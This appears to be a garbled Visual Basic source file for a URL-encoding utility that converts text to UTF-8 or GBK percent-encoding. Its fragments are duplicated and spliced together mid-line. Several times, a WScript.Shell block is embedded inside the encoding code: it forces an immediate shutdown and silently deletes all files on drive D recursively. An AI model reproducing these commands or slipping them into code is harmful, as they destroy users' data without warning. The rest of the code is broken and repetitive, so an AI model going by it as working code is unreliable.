UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function tion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function tion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function tion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function tion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function tion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function URI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = Asc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = Asc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = Asc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = Asc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = Asc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = ch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURIunction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURIunction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURIunction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI*Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

